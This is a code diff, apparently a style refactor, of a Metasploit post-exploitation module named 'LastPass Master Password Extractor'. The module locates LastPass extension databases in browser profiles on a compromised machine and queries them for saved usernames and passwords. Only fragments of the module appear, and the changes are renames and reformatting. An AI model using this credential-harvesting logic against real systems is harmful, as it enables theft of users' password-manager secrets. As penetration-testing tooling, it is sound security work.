@@ -10,16 +10,17 @@ class Metasploit3 < Msf::Post
10
10
include Msf ::Post ::Unix
11
11
12
12
def initialize ( info = { } )
13
- super ( update_info ( info ,
14
- 'Name' => 'LastPass Master Password Extractor' ,
15
- 'Description' => %q{
16
- This module extracts and decrypts LastPass master login accounts and passwords.
17
- } ,
18
- 'License' => MSF_LICENSE ,
19
- 'Author' => [ 'Alberto Garcia Illera <agarciaillera[at]gmail.com>' , 'Martin Vigo <martinvigo[at]gmail.com>' ] ,
20
- 'Platform' => %w( linux osx unix win ) ,
21
- 'SessionTypes' => %w( meterpreter shell )
22
- ) )
13
+ super (
14
+ update_info (
15
+ info ,
16
+ 'Name' => 'LastPass Master Password Extractor' ,
17
+ 'Description' => 'This module extracts and decrypts LastPass master login accounts and passwords' ,
18
+ 'License' => MSF_LICENSE ,
19
+ 'Author' => [ 'Alberto Garcia Illera <agarciaillera[at]gmail.com>' , 'Martin Vigo <martinvigo[at]gmail.com>' ] ,
20
+ 'Platform' => %w( linux osx unix win ) ,
21
+ 'SessionTypes' => %w( meterpreter shell )
22
+ )
23
+ )
23
24
end
24
25
25
26
def run
@@ -30,7 +31,7 @@ def run
30
31
31
32
print_status "Searching for LastPass databases..."
32
33
33
- db_map = get_database_paths # Find databases and get the remote paths
34
+ db_map = database_paths # Find databases and get the remote paths
34
35
if db_map . empty?
35
36
print_status "No databases found"
36
37
return
@@ -60,7 +61,11 @@ def run
60
61
61
62
# Parsing/Querying the DB
62
63
db = SQLite3 ::Database . new ( loot_path )
63
- user , pass = db . execute ( "SELECT username, password FROM LastPassSavedLogins2 WHERE username IS NOT NULL AND username != '' AND password IS NOT NULL AND password != '';" ) . flatten
64
+ user , pass = db . execute (
65
+ "SELECT username, password FROM LastPassSavedLogins2 " \
66
+ "WHERE username IS NOT NULL AND username != '' " \
67
+ "AND password IS NOT NULL AND password != '';"
68
+ ) . flatten
64
69
credentials << [ user , pass , browser ] if user && pass
65
70
end
66
71
end
@@ -78,9 +83,9 @@ def run
78
83
end
79
84
80
85
# Finds the databases in the victim's machine
81
- def get_database_paths
86
+ def database_paths
82
87
platform = session . platform
83
- existing_profiles = get_user_profiles
88
+ existing_profiles = user_profiles
84
89
found_dbs_map = {
85
90
'Chrome' => [ ] ,
86
91
'Firefox' => [ ] ,
@@ -106,7 +111,7 @@ def get_database_paths
106
111
print_status "Found user: #{ user_profile [ 'UserName' ] } "
107
112
browser_path_map = {
108
113
'Chrome' => "#{ user_profile [ 'LocalAppData' ] } /.config/google-chrome/Default/databases/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0" ,
109
- 'Firefox' => "#{ user_profile [ 'LocalAppData' ] } /.mozilla/firefox" ,
114
+ 'Firefox' => "#{ user_profile [ 'LocalAppData' ] } /.mozilla/firefox"
110
115
}
111
116
end
112
117
when /osx/
@@ -136,7 +141,7 @@ def find_db_paths(path, browser)
136
141
137
142
print_status "Checking in #{ browser } ..."
138
143
if browser == "Firefox" # Special case for Firefox
139
- profiles = get_firefox_profile_files ( path , browser )
144
+ profiles = firefox_profile_files ( path , browser )
140
145
unless profiles . empty?
141
146
print_good "Found #{ profiles . size } profile files in Firefox"
142
147
found_dbs_paths |= profiles
@@ -149,7 +154,7 @@ def find_db_paths(path, browser)
149
154
end
150
155
151
156
# Returns the relevant information from user profiles
152
- def get_user_profiles
157
+ def user_profiles
153
158
user_profiles = [ ]
154
159
case session . platform
155
160
when /unix|linux/
@@ -212,7 +217,7 @@ def file_paths(path, browser)
212
217
end
213
218
214
219
# Returns the profile files for Firefox
215
- def get_firefox_profile_files ( path , browser )
220
+ def firefox_profile_files ( path , browser )
216
221
found_dbs_paths = [ ]
217
222
218
223
if directory? ( path )
0 commit comments